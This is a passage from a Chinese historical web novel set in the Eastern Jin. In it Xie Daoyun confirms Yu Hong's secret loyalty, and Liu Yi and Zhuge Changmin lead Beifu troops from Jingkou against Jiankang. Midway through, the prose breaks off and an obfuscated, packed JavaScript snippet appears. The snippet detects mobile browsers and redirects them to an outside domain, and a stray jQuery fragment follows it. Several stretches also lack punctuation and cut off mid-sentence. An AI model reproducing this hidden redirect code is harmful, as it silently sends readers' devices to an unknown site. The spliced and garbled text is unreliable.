“忠……忠臣?”庾鸿真要被这一个词给吓得跳起来,“我不明白谢内史的意思。我如今为父守孝,闭门在家,与朝政已无关联,何来忠臣一说。”
“那难道你父亲真是因为听了天幕所说,自知前路无望,才选择自裁的吗?”谢道韫回问道。
庾鸿默然。
“我顺了有些人的心意,暂时压下了你父亲的死讯,只让你谨慎行事,在家闭门,不得在此关头,让建康中人人议论你父亲之死,你是如何回应的?”
谢道韫的语气不疾不徐:“若是按照你早先的脾气,姑且不提随后如何,骤然闻听死讯必然又惊又怒,非要闹出些动静来。”
庾鸿本能反驳:“我是这麽做了!”
“可你太容易被劝服了!”谢道韫一点都没给他留下情面,直截了当地点明了他的破绽。
放在一众二三十岁的年轻人里,庾鸿的表现说不上有太多的破绽,但在她这种长辈的面前,庾鸿给出的答复只有一个可能:庾楷死的时候,他在现场。
所以,他的惊讶里才有了表演的痕迹。
谢道韫继续说道:“还有,我令有司官员登门造访,向你做出慰问,你在提到自己父亲的时候是何语气?”
“我……”
“很有意思,你对他感怀、感谢或者说是崇敬。一个应当目睹父亲死亡的人,对父亲是这样的态度,他的父亲生前到底说了些什么呢?起码,他的死一定是有意义的,也一定给你带来了好结果。”
庾鸿觉得面前谢道韫的这双眼睛,简直像是一面镜子,直接将他潜藏的所有想法,都给一并照了出来,也让他紧张地又吞咽了一下:“可是,我也有可能是与其他人合作,准备拿着我父亲的死讯,向朝廷问责,声讨永安陛下。”
“那你就不应该联系刘毅。”
庾鸿的话等同于是承认了自己的立场选择,但谢道韫没用他的这句“承认”作为给他的答复,而是说出了自己的理由。
“庾氏能联系到的人,并不是只有刘毅一个,不仅不止有他,他所能造成的影响也不是最大的。若庾楷死前给你留下的话,是让你与陛下为敌,为他报仇,你的选择就太让你父亲失望了。”
谢道韫给出了结论:“我只能这样判断,你父亲用自己的死来为你铺路,而你选择了遵照你父亲生前的意思,将这个任务执行下去。世家的出身让你可以很好地融入到那一批反贼
当中也为你随后的行动做准备。”
“现在——我们可以谈谈其他的事情了吗?”
庾鸿答道:“……可以。”
他以为自己的表现已很合格了王愉那边也对他满意有加谁知道原来在谢道韫这里他还有这样多的破绽。
但他又突然觉得分外庆幸他不需要在配合王愉行动的时候
王愉让他将父亲的死算作是一个向永安发难的理由然后他突然改口倒戈一击……
万一稍有操作不当谢道韫这边没分清楚他的敌我他到底能不能全身而退还真是一点也不好说。
他也不需要解释那麽多的话将他父亲毅然赴死之前的每一句话都说出来来换取对面的信任。
谢道韫的一句“忠臣”从某种意义上也代表着永安陛下的态度在他终于得到了解释的一瞬间竟觉自己因熬过了先前的忐忑忽感一阵热泪盈眶。
相比于王愉那边的情形从面前这位谢夫人身上庾鸿也已隐约看到了到底什么才能叫做同伴。
能不能谈一谈接下来的事情?当然能!
“请稍等片刻。”庾鸿掉头匆匆折返回到了自己的书房将王愉让人送来的那封信递到了谢道韫的面前“这是我收到的名单只是才收到不久尚未来得及逐一校对……”
“无妨。”谢道韫接了过来粗略地翻阅了一遍沉静的目光中闪过了一抹讥诮“人名比我想的要少应当还有缺漏但能顺藤摸瓜地查下去有这些人足够了!”
这些世家之间千丝万缕的联系早在建康城中构成了一张罗织的网。
但到底是这张网先一步抓住了自己的猎物还是这张网先在重压之下破裂开来就看接下来的交锋了。
庾鸿忐忑问道:“以谢内史看来我应当在何时倒戈?”
“这不重要在陛下归来之前你的安全更为重要。”谢道韫答道“你也不必急于将自己暴露在危险之中起码在当下他们的目标是我以及代表陛下威望的宫城。”
“那我……”
“你放心吧你有心向陛下表态我不会让你能够闲着。”谢道韫安抚道“就如现在有一件事由你来做要比我去做更为方便。我也只能将这份重任交托给你。”
庾鸿的眼睛顿时亮了起来“请您尽管吩咐。”
“对了”他想到了什么又
连忙说道“还有一件事需要谢内史来定夺。”
“是关于桓夫人……”
……
在建康的城门重新开启的时候一支起先还并不起眼的小队被人流夹带着分散带出了城去又很快重新**在了一起。
由王愉和庾鸿各自派出的心腹组成了这支队伍向着京口方向而去。
行船迅疾以极快的速度抵达又很快通报了信物被接入了北府军中。
庾鸿的亲信还未坐定就已朝着等候在此的刘毅问道:“行动的人手准备得如何了?”
那刘毅早有准备当即答道:“只待一声令下便能即刻动兵。”
北府军中鱼龙混杂又因先前陛下支持洛阳从此地调走了太多的人手十方营盘空缺了六方更让他调度人手的行动变得异常顺遂。
来人不置可否地点了点头心中暗呼了一声这大概就是山中无老虎猴子称大王不过这只猴子总算要比王愉联系的那只猴子要更像猴王一些是该多费一些口舌。
但想到他之前竟还以为刘毅是配合庾鸿来表演的他又开始看人有些不太顺眼了。
不过幸好这种情绪并没有被他表现在自己的脸上而是说道:“我代表谁而来你应该心中清楚。家主说其他的事情就不需要他来多说了毕竟有领兵经验的人是你而不是他只有两件事还需要向你确认一二。”
刘毅正色:“您请说吧。”
亲信道:“先前有无北府军自会稽、吴郡方向折返
刘毅想了想摇头:“并无。不瞒使者先前应允令家主的请托准备一同举事后我就担心刘牢之会从吴会折返一直让斥候向那边探查时至今日也未有发现异常。”
亲信的心中微微有些发沉在面上却没有显露出分毫只继续说道:“另一件事不必由您回答只是家主想在人情世故上提醒您两句。”
“此次带兵从京口突袭建康是由您和诸葛校尉一并行动虽说连我这样的跑腿小卒也知道究竟更适合由谁来指挥全军但在诸葛校尉的背后还有其他人总归要给几分薄面。在真正夺取建康前千万不得与对方起什么冲突反而耽误了大事。”
“……哈哈要这麽说也未免小看了我的心胸吧。”
庾鸿的亲信循声回头就见王愉的使者会同诸葛长民一并掀帘而
入。说话的诸葛长民似乎早与刘毅有过交谈,彼此相顾一笑。
他顿时心中一阵后怕,庆幸自己因为谢道韫的提醒,没说出什么不应该说的话来,暴露了他们的算盘。
“原来……你们认识?”
“都是北府军中的人,不认识才奇怪。不过若不是因为这一遭,还不知道,原来我们也算志同道合之人。”
刘毅并没过多解释自己是如何与诸葛长民搭上的话,只顿了顿,又问道:“不知道庾家主还有什么其他的叮嘱?”
“非要说有的话,还真有一句。”亲信轻叹了一口气,答道,“有些话说出来并不好听却是一句事实,因天幕的影响,建康民心在何处无需多言。若要速胜,便须自北面进攻,直逼宫城,万不能让谢道韫有机会临机招募建康百姓,前来阻挡我们的兵马。西北、东北二门,也都会有内应在接到信号后尝试提前夺关,与你等里应外合,万万不可贸然分兵,耽误了进程。”
“从南面杀入建康,是最容易引发混乱的……”刘毅沉吟片刻,说道,“但您说的也对,我们是为其他人争取时间,也要让有些墙头草做出抉择的,还是应当选择自北面进攻,完成这擒贼先擒王的重任。”
“至于那北部宫城的戍防……再如何坚固,以我们如今积聚起来的人力,有的是破城的办法!”
谢安谢玄已死,凭借谢道韫一个女流之辈,休想再让北府军听令。
反而是他这样的下等士族出身的将领,正要与那些利益与共的人一并,给她一个深刻的教训!
王愉的使者插话道:“既然都已谈妥,从何处进攻也已敲定,那麽……咱们是不是可以尽快起行了?”
刘毅当即答道:“这是自然!”
他就等着这一声令下呢!
也不知道是不
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16052603|165055||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
是因为天幕的影响,他是当真有些担心,在他们发起行动之前,那位永安陛下就已从洛阳回来了。
刘毅披挂上马,即刻下达了进军的指令。
这支军队的聚拢没有引起太多的轰动,但突然要调度发动,却还是引起了不少人的注意。
于是这头的兵马刚刚出动,便已有一队骑兵拦截在了他的前头。
那为首的士卒满面狐疑:“尔等调兵,可有陛下军令,或有刘将军手令!”
刘毅冷笑了一声:“我不就是刘将军吗?”
“你……”
你算什么刘将军。
可那士
卒刚要再说便忽有一支冷箭射穿了他的胸膛
也还没等这两方的冲突扩大影响引来更多人的关注这些拦路士卒的尸体就已被拖拽了下去很快如同湖面上的水波一般消失不见。
正因为这过于快速的反应当这支急行的队伍出现在京口百姓视线中的时候他们又怎会想到这不是一支听从永安陛下命令前去建康驻扎的队伍他们也不是去拱卫帝都的安全而是去掀起一场谋逆的风暴。
骑在马背上的刘毅与作为副手的诸葛长民俱是春风满面的神情竟未发觉同行的人中庾鸿的亲信里已在不知觉间少了个人。
为了掩饰这个人的消失先前向刘毅叮嘱的那位庾鸿亲信找上了王愉的使者说道:“我看咱们到最后还是要依靠自家的私兵。先前光知道那诸葛校尉贪财是个俗人却不知道这两人还能没达成战果就已先飘上天了。”
他皱着眉头露出了颇为前景担忧的表现。
这表现让王愉的使者不由会心一笑:“咱们是要去正本清源的拿出些胆量来吧!”
担心那麽多干什么呢。只要这一众人等能助力他们夺取建康就算是嚣张肆意一些又有何妨。现在他们缺的就是敢与永安作对的人!
规模甚众的一众兵马张扬过境好像也正是因为这光明正大的表现让沿途之人毫不怀疑他们的目的。
反而是另外的一路人马明明在离开刘牢之视线的时候还看起来像是一路胡乱拼凑起来的兵卒却在途经这片江南富庶地带之际没有惊起一点额外的波澜。
在张定姜的建议下他们先提前向北走出了一段沿着大江以北的这一段路向京口方向逼近。
这个决策最大程度地避免了从京口放出的哨探搜索他们的行踪。
也很快给他们带来了两个意外之喜。
孙恩的部从相比于孙无终麾下的北府军原本并不算多但在沿途与江北流民打交道中以滚雪球的速度发展了起来。这是第一喜。
而第二喜是也就是在他们距离京口只剩大半日的路程时他们遇上了一队从北面匆匆赶回的兵马。
“你说你先前做了什么?”孙恩还没来得及为自己的成果高兴多久冷不丁就听到了刘勃勃的这句炫耀。
那
神态傲然的匈奴少年昂起了头,“我说,我烧了拓跋圭刚打下来的邺城,俘虏了他的将领,还带回了燕国的宗室。”
孙恩都要羡慕得变形了。他绷着个脸,死活不肯说出一句夸耀竞争对手的话,只道:“可陛下明明只是让你把王氏的人送去琅琊,顺带刺探北方的敌情。”
是让你表现得这麽出彩的吗!
刘勃勃好笑地看了一眼孙恩的身后:“那陛下不是也只让你把你叔叔从海外置回来?是谁先杀了王凝之,又带出了这麽一支队伍啊?”
他们俩也不必五十步笑百步了,都是来争功的,谁还不知道谁啊。
褚灵媛险些要为对面前这个针尖对麦芒的场面翻个白眼,也忍不住想到,孙恩和刘勃勃刚刚参与皇后亲卫的选拔,因意外而被带到陛下面前的时候,到底是怎样的滑稽。
现在明明各有功劳在身,却好像还是先前的风味。
但她还没来得及开口,忽然脸色沉了下来,向着那道由远及近的身影看去,高声问道:“前面发生了何事!”
快马赶来的斥候将一个五花大绑的人丢下了马背,回禀道:“发现了个鬼鬼祟祟的哨探,我等不敢轻忽,直接将人带来了。”
然而那被绑起来的家夥刚一被松开嘴上的布条,便怒骂出了声:“我都说了是误会误会,你们就不能多听我说两句吗!谁是哨探了?我是信使!”
他逡巡了一番前方的队伍,苦着个脸看向了褚灵媛。
“我奉谢内史之命,送来建康的线报!”